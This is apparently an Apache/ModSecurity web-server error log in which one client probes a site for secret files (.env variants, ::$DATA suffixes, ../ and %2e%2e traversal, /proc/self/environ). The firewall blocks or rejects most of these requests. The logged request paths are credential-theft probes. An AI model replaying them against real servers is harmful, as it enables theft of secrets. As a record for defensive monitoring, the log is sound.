[Sun Oct 25 10:21:33.404193 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4QbRus_mjnPB8X3pG-XgAAABI"]
[Sun Oct 25 10:21:33.404596 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4QbRus_mjnPB8X3pG-XgAAABI"]
[Sun Oct 25 10:21:33.404933 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4QbRus_mjnPB8X3pG-XgAAABI"]
[Sun Oct 25 10:21:33.406143 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbQYPMfHr0EMMDlnoOwAAABM"]
[Sun Oct 25 10:21:33.406572 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbQYPMfHr0EMMDlnoOwAAABM"]
[Sun Oct 25 10:21:33.406781 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbQYPMfHr0EMMDlnoOwAAABM"]
[Sun Oct 25 10:21:33.410116 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4QbfWU2HQBncZeY47FKQAAAAQ"]
[Sun Oct 25 10:21:33.410521 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4QbfWU2HQBncZeY47FKQAAAAQ"]
[Sun Oct 25 10:21:33.410748 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4QbfWU2HQBncZeY47FKQAAAAQ"]
[Sun Oct 25 10:21:33.446296 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbaGxe7V6jzF5H8VNcwAAABg"]
[Sun Oct 25 10:21:33.446760 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbaGxe7V6jzF5H8VNcwAAABg"]
[Sun Oct 25 10:21:33.447071 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbaGxe7V6jzF5H8VNcwAAABg"]
[Sun Oct 25 10:21:33.454001 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4QbYxkYfnWL-SU_mhrggAAAA0"]
[Sun Oct 25 10:21:33.454342 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4QbYxkYfnWL-SU_mhrggAAAA0"]
[Sun Oct 25 10:21:33.454593 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4QbYxkYfnWL-SU_mhrggAAAA0"]
[Sun Oct 25 10:21:33.673365 2026] [core:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42574] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 10:21:33.761082 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4QbQbh6It5ncJCFORluQAAAAY"]
[Sun Oct 25 10:21:33.761606 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4QbQbh6It5ncJCFORluQAAAAY"]
[Sun Oct 25 10:21:33.762168 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4QbQbh6It5ncJCFORluQAAAAY"]
[Sun Oct 25 10:21:33.762777 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4QbfWU2HQBncZeY47FKgAAAAQ"]
[Sun Oct 25 10:21:33.763079 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4QbfWU2HQBncZeY47FKgAAAAQ"]
[Sun Oct 25 10:21:33.763328 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4QbfWU2HQBncZeY47FKgAAAAQ"]
[Sun Oct 25 10:21:33.776780 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbbzfR6IZTglRqQr3TwAAAAU"]
[Sun Oct 25 10:21:33.777345 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbbzfR6IZTglRqQr3TwAAAAU"]
[Sun Oct 25 10:21:33.777638 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbbzfR6IZTglRqQr3TwAAAAU"]
[Sun Oct 25 10:21:33.780839 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4QbQYPMfHr0EMMDlnoPAAAABM"]
[Sun Oct 25 10:21:33.781296 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4QbQYPMfHr0EMMDlnoPAAAABM"]
[Sun Oct 25 10:21:33.781562 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4QbQYPMfHr0EMMDlnoPAAAABM"]
[Sun Oct 25 10:21:33.790256 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkwAAAAM"]
[Sun Oct 25 10:21:33.790318 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkwAAAAM"]
[Sun Oct 25 10:21:33.790396 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkwAAAAM"]
[Sun Oct 25 10:21:33.790622 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkwAAAAM"]
[Sun Oct 25 10:21:33.790967 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkwAAAAM"]
[Sun Oct 25 10:21:33.791578 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQ-YVEbWS5meiuhlZwAAAAw"]
[Sun Oct 25 10:21:33.791676 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQ-YVEbWS5meiuhlZwAAAAw"]
[Sun Oct 25 10:21:33.791846 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQ-YVEbWS5meiuhlZwAAAAw"]
[Sun Oct 25 10:21:33.792099 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQ-YVEbWS5meiuhlZwAAAAw"]
[Sun Oct 25 10:21:33.807341 2026] [core:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 10:21:33.807601 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4QbfrIyYTZs3Zw4AlthAAAAAE"]
[Sun Oct 25 10:21:33.807957 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4QbfrIyYTZs3Zw4AlthAAAAAE"]
